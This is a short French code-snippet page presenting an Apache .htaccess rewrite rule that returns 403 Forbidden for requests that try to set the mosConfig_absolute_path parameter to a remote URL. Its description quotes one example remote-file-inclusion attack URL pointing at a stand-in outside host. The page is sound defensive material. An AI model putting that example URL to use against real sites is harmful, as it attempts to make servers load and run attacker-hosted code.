
Empêcher le hack via mosConfig_absolute_path
Information sur le code source
Enregistré le 12 Mai 2008 - Vu 7352 fois
 | Votre avis: |
|
| |
[66] sources en Apache voir
|
Description du code source
Informations sur le code source
Les sites internet sont souvent attaqués par des robots qui cherchent des failles de sécurité. Voici un exemple de protection qui permet de bloquer les tentatives d'attaques du type http://www.example.com/?mosConfig_absolute_path=http://www.sitepourri.com/url.txt?
On test donc que les paramètres d'url contiennent la variable mosConfig_absolute_path. Dans ce cas là, l'url est bloquée en utilisant le flag F(forbidden) qui revient à renvoyer un code HTTP 403.
Voir également :
»
Page d'erreur 403 personnalisée
Code Source
.01
.02
.03
.04
.05
.06
.07
.08
.09
.10
.11
.12
.13
.14
.15
.16
.17
.18
.19
.20
.21
.22
.23
.24
|
|
################################################################################
# #
# __ _ __ _ #
# __ ______/ /______ _ ______(_) /_(_)__ ___ _ #
# / // / __/ / __/ -_) |/|/ / __/ / __/ / _ \/ _ `/ #
# \_,_/_/ /_/_/ \__/|__,__/_/ /_/\__/_/_//_/\_, / #
# /___/ #
# #
# #
################################################################################
# #
# Titre : Empêcher le hack via mosConfig_absolute_path #
# #
# URL : /scripts13-Apache.htm #
# Auteur : admin #
# Date édition : 12 Mai 2008 #
# #
################################################################################
RewriteEngine on
RewriteCond %{QUERY_STRING} ^(.*&)?mosConfig_absolute_path=http://
RewriteRule .* - [F,L]
|
Librairie
Langages de programmation
La librairie est ouverte à tous et elle est accès principalement sur les langages Snippets.
Vous trouverez aussi d'autres langages de programmation tel que le CSS, HTML, AJAX, ASP..
Plus de 300 références facilement accessibles. Visiter